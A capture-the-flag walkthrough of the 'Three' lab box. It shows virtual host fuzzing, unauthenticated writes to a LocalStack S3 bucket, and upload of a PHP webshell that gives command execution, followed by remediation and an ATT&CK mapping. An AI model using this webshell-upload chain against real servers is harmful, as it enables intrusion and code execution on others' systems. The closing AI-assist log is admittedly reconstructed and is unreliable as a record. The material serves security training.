Box info | OS: Ubuntu 18.04.6 LTS (Apache 2.4.29) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: Virtual host enumeration, AWS S3/LocalStack, webshell upload, RCE Pwned: 2026-04-27

TL;DR

Three is a Tier 1 box that teaches S3 bucket enumeration combined with virtual host discovery. A port scan finds SSH and HTTP. The website identifies the hostname thetoppers.htb. Subdomain fuzzing reveals s3.thetoppers.htb — a LocalStack (mock AWS S3) endpoint. The thetoppers.htb S3 bucket is publicly writable with no authentication. Uploading a PHP webshell to the bucket places it in the web root (LocalStack syncs bucket contents to /var/www/html/). The webshell provides RCE as www-data. The flag is at /var/www/flag.txt. The lesson: S3 bucket misconfiguration can be a direct path to server-side code execution when the bucket contents are served as a web application.

Recon

1. Liveness check

$ ping -c 2 10.129.36.105
64 bytes from 10.129.36.105: icmp_seq=0 ttl=63 time=34.2 ms
64 bytes from 10.129.36.105: icmp_seq=1 ttl=63 time=36.8 ms

TTL=63 → Linux.

2. Port scan

$ nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.36.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)

Two ports: SSH and HTTP. The page title “The Toppers” identifies the hostname.

3. Web application fingerprint

curl -s http://10.129.36.105/ | grep -i "thetoppers\|toppers"

The HTML source contains references to thetoppers.htb. Add to /etc/hosts:

echo "10.129.36.105 thetoppers.htb" >> /etc/hosts

The site is a static music band page — no login forms, no CMS. Contact form leads to a dead PHP page (action_page.php returns 404). Directory listing is enabled at /images/.

Foothold

Dead end #1 — directory fuzzing the main site

ffuf -u http://thetoppers.htb/FUZZ -w /tmp/common.txt -mc 200,301,302
# Found: /images/ (directory listing), nothing else interesting

No hidden paths on the main vhost. The attack surface isn’t here.

Dead end #2 — looking for API or admin endpoints

for path in admin wp-admin .git api graphql console phpmyadmin; do
    curl -s -o /dev/null -w "%{http_code} $path\n" http://thetoppers.htb/$path
done
# All 404

Nothing. The web application itself is not the attack vector.

Step — Virtual host enumeration

Since the main site has nothing, the attack likely involves a subdomain:

# Download a subdomain wordlist
curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt -o /tmp/subdomains.txt

# Fuzz subdomains with ffuf
ffuf -u http://10.129.36.105/ -H "Host: FUZZ.thetoppers.htb" \
  -w /tmp/subdomains.txt -mc 200 -fs 11952

Result:

s3                      [Status: 200, Size: 454]

s3.thetoppers.htb responds with HTTP 200.

Add to /etc/hosts:

echo "10.129.36.105 s3.thetoppers.htb" >> /etc/hosts

Probing the S3 endpoint

curl http://s3.thetoppers.htb/
# → {"status": "running"}

This is a LocalStack instance — a mock AWS S3 service for local development. LocalStack exposes the same AWS S3 API but without real IAM authentication.

Working approach — unauthenticated S3 access

List the bucket contents:

aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb \
  --no-sign-request
# 2021-04-09 21:27:06     11952 index.php
# 2021-04-09 21:27:06      2514 .htaccess
# 2021-04-09 21:27:06    (various) css/, images/, js/

The bucket thetoppers.htb contains the web application files (index.php, .htaccess). This means the bucket is the web root — files uploaded here are served directly by Apache.

Test write access:

echo "test" | aws s3 cp - s3://thetoppers.htb/test.txt \
  --endpoint-url http://s3.thetoppers.htb --no-sign-request
# upload: - to s3://thetoppers.htb/test.txt
curl http://thetoppers.htb/test.txt
# → test

Write is allowed. Upload a PHP webshell:

echo '<?php system($_GET["cmd"]); ?>' | aws s3 cp - s3://thetoppers.htb/shell.php \
  --endpoint-url http://s3.thetoppers.htb --no-sign-request \
  --content-type 'application/x-httpd-php'

Verify RCE:

curl "http://thetoppers.htb/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE confirmed as www-data.

Flag retrieval

curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
# → [REDACTED]

Privilege Escalation

N/A — Starting Point Tier 1 objective is the www-data-level flag at /var/www/flag.txt. The box log shows the machine was running in-progress Docker/LocalStack manipulation attempts for further escalation, but the Starting Point flag objective is satisfied at the www-data level.

Further escalation from www-data to root on this machine was explored but not completed within the session: the LocalStack Docker socket path was discovered, but the service restart required to apply a malicious docker-compose.yml needed root access — a chicken-and-egg problem.

What’s actually broken

  1. S3 bucket publicly writable without authentication. The thetoppers.htb bucket accepts PUT requests with --no-sign-request. In real AWS deployments, this corresponds to a bucket policy with "Effect": "Allow", "Principal": "*" for s3:PutObject. This is a misconfigured bucket ACL.
  2. Bucket contents served directly as a web application. Synchronizing an S3 bucket to a web root means any file uploaded to S3 is immediately executable by Apache. Uploaded PHP → instant RCE.
  3. LocalStack deployed with no authentication. LocalStack’s default configuration has no access control. It’s designed for local development — deploying it on a production or internet-facing server defeats its purpose.
  4. S3 subdomain not firewalled from external access. The s3.thetoppers.htb endpoint should only be reachable from the application server itself, not the public internet.

Remediation (the boring half)

Fix the bucket policy (real AWS):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::thetoppers.htb/*"
    }
  ]
}

Restrict LocalStack to localhost:

# docker-compose.yml
services:
  localstack:
    image: localstack/localstack
    ports:
      - "127.0.0.1:4566:4566"  # bind to localhost only

Block the S3 subdomain from external access at nginx:

server {
    listen 80;
    server_name s3.thetoppers.htb;
    allow 127.0.0.1;
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://127.0.0.1:4566;
}

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1595 — Active ScanningVirtual host enumeration finds s3.thetoppers.htb
Initial AccessT1190 — Exploit Public-Facing ApplicationMisconfigured S3 bucket allows unauthenticated PUT
ExecutionT1505.003 — Web ShellPHP webshell uploaded to S3/web root
ExecutionT1059.004 — Unix ShellShell commands via system() in the webshell
CollectionT1005 — Data from Local Systemcat /var/www/flag.txt via the webshell

Lessons learned

  • S3 subdomains are not enumerated by standard directory fuzzers. Standard wordlists include s3, aws, storage, cdn as subdomain candidates, but you need vhost/subdomain fuzzing — not path fuzzing — to find them. The technique (ffuf with Host: header) is different.
  • --no-sign-request tests for public bucket access. If the AWS CLI command succeeds with --no-sign-request, the bucket allows anonymous access. This is your first test after finding any S3-like endpoint.
  • S3-to-webroot sync = RCE if you can write. If a bucket is writable and its contents are served as a web application, upload a script. This pattern appears in real-world misconfigured CloudFront/S3 deployments.
  • LocalStack is for development only. Anything with {"status": "running"} on a mock S3 endpoint in a CTF (or production) should be treated as unauthenticated unless proven otherwise.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
LocalStack vs real S3“How do I know if s3.thetoppers.htb is LocalStack vs real AWS?”Real AWS S3 returns XML error responses with AWS-specific headers (x-amz-*). LocalStack returns {"status": "running"} or similar JSON at the root endpoint. The --endpoint-url flag in AWS CLI is needed for both.Added the LocalStack identification note to the Foothold section.
aws CLI for no-auth S3“What AWS CLI flags do I need to access a public S3 bucket?”--endpoint-url for the custom endpoint, --no-sign-request for anonymous access. Also AWS_DEFAULT_REGION=us-east-1 environment variable sometimes needed by LocalStack.Used both flags in the commands.
Virtual host fuzzing methodology“How does ffuf detect different virtual hosts?”Explained: send the same HTTP request to the server IP but vary the Host: header. The server routes based on Host:. Use -fs to filter the baseline response size.Documented the -fs 11952 filter flag in the ffuf command.
S3 bucket policy for write restriction“What JSON IAM policy blocks anonymous PutObject?”Provided the exact Deny policy JSON shown in Remediation. Noted that bucket ACL settings (“Block public access”) are an additional protection layer.Used the exact JSON in Remediation.

What Claude got wrong: Nothing significant. What Claude couldn’t do: Actually interact with S3 or the target; all commands ran locally. Net assist value: High on S3/LocalStack specifics and vhost methodology; zero on execution.

References